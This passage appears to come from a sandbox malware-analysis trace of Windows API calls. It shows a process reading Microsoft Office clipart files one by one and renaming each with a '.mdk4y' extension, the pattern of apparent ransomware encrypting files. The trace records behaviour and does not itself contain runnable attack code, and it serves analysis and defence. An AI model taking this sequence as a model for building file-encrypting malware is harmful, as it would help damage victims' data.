lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.672] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822390200000) returned 1 [0148.672] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1dd0, lpOverlapped=0x0) returned 1 [0148.682] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822391200000) returned 1 [0148.682] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822391200000) returned 1 [0148.683] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf.mdk4y")) returned 1 [0148.683] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.683] AreFileApisANSI () returned 1 [0148.683] GetACP () returned 0x4e4 [0148.683] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107042.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107042.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.684] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.684] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822391400000) returned 1 [0148.684] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2358, lpOverlapped=0x0) returned 1 [0148.704] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822393400000) returned 1 [0148.704] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822393400000) returned 1 [0148.704] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf.mdk4y")) returned 1 [0148.705] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.705] AreFileApisANSI () returned 1 [0148.705] GetACP () returned 0x4e4 [0148.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107090.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107090.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.705] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.706] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822393600000) returned 1 [0148.706] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3734, lpOverlapped=0x0) returned 1 [0148.722] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822395200000) returned 1 [0148.722] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822395200000) returned 1 [0148.722] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107090.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107090.wmf.mdk4y")) returned 1 [0148.723] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.723] AreFileApisANSI () returned 1 [0148.723] GetACP () returned 0x4e4 [0148.723] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107130.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107130.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.723] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.723] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822395300000) returned 1 [0148.723] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x69cc, lpOverlapped=0x0) returned 1 [0148.763] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822399300000) returned 1 [0148.763] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822399300000) returned 1 [0148.764] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107130.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107130.wmf.mdk4y")) returned 1 [0148.765] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.765] AreFileApisANSI () returned 1 [0148.765] GetACP () returned 0x4e4 [0148.765] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107132.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107132.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.765] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.765] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822399500000) returned 1 [0148.765] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbcfc, lpOverlapped=0x0) returned 1 [0148.770] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822400000000) returned 1 [0148.770] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822400000000) returned 1 [0148.771] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf.mdk4y")) returned 1 [0148.771] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.771] AreFileApisANSI () returned 1 [0148.771] GetACP () returned 0x4e4 [0148.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107134.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107134.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.771] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.772] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822400200000) returned 1 [0148.772] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbd04, lpOverlapped=0x0) returned 1 [0148.868] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822409800000) returned 1 [0148.868] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822409800000) returned 1 [0148.869] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107134.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107134.wmf.mdk4y")) returned 1 [0148.870] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.870] AreFileApisANSI () returned 1 [0148.870] GetACP () returned 0x4e4 [0148.870] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107138.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107138.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.870] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.871] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822410100000) returned 1 [0148.871] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4330, lpOverlapped=0x0) returned 1 [0148.898] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822412800000) returned 1 [0148.898] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822412800000) returned 1 [0148.898] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107138.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107138.wmf.mdk4y")) returned 1 [0148.899] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.899] AreFileApisANSI () returned 1 [0148.899] GetACP () returned 0x4e4 [0148.899] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107146.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107146.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.899] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.899] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822412900000) returned 1 [0148.900] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3a94, lpOverlapped=0x0) returned 1 [0148.926] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822415600000) returned 1 [0148.926] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822415600000) returned 1 [0148.926] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf.mdk4y")) returned 1 [0148.930] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.930] AreFileApisANSI () returned 1 [0148.930] GetACP () returned 0x4e4 [0148.930] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107148.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107148.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.930] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.931] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822416100000) returned 1 [0148.931] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4ea8, lpOverlapped=0x0) returned 1 [0148.965] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822419500000) returned 1 [0148.965] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822419500000) returned 1 [0148.966] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf.mdk4y")) returned 1 [0148.967] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.967] AreFileApisANSI () returned 1 [0148.967] GetACP () returned 0x4e4 [0148.967] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107150.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107150.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.967] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.967] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822419700000) returned 1 [0148.967] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3490, lpOverlapped=0x0) returned 1 [0148.997] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822422700000) returned 1 [0148.997] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822422700000) returned 1 [0148.998] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf.mdk4y")) returned 1 [0148.999] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0148.999] AreFileApisANSI () returned 1 [0148.999] GetACP () returned 0x4e4 [0148.999] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107152.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107152.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0148.999] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0148.999] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822422900000) returned 1 [0148.999] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5804, lpOverlapped=0x0) returned 1 [0149.018] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822424800000) returned 1 [0149.018] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822424800000) returned 1 [0149.019] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf.mdk4y")) returned 1 [0149.020] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.020] AreFileApisANSI () returned 1 [0149.020] GetACP () returned 0x4e4 [0149.020] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107154.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107154.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.020] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.020] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822425000000) returned 1 [0149.020] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x571c, lpOverlapped=0x0) returned 1 [0149.068] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822429800000) returned 1 [0149.068] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822429800000) returned 1 [0149.069] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf.mdk4y")) returned 1 [0149.070] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.070] AreFileApisANSI () returned 1 [0149.070] GetACP () returned 0x4e4 [0149.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107158.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107158.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.070] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.071] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822430100000) returned 1 [0149.071] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x614c, lpOverlapped=0x0) returned 1 [0149.094] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822432400000) returned 1 [0149.094] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822432400000) returned 1 [0149.095] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf.mdk4y")) returned 1 [0149.096] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.096] AreFileApisANSI () returned 1 [0149.096] GetACP () returned 0x4e4 [0149.096] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107182.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107182.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.096] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.096] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822432600000) returned 1 [0149.096] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3ee4, lpOverlapped=0x0) returned 1 [0149.098] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822432800000) returned 1 [0149.098] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822432800000) returned 1 [0149.098] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf.mdk4y")) returned 1 [0149.098] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0149.098] AreFileApisANSI () returned 1 [0149.098] GetACP () returned 0x4e4 [0149.098] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0107188.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0107188.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0149.099] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0149.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1822432900000) returned 1 [0149.099] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x11b8, lpOverlapped=0x0) returned 1 [0149.160] 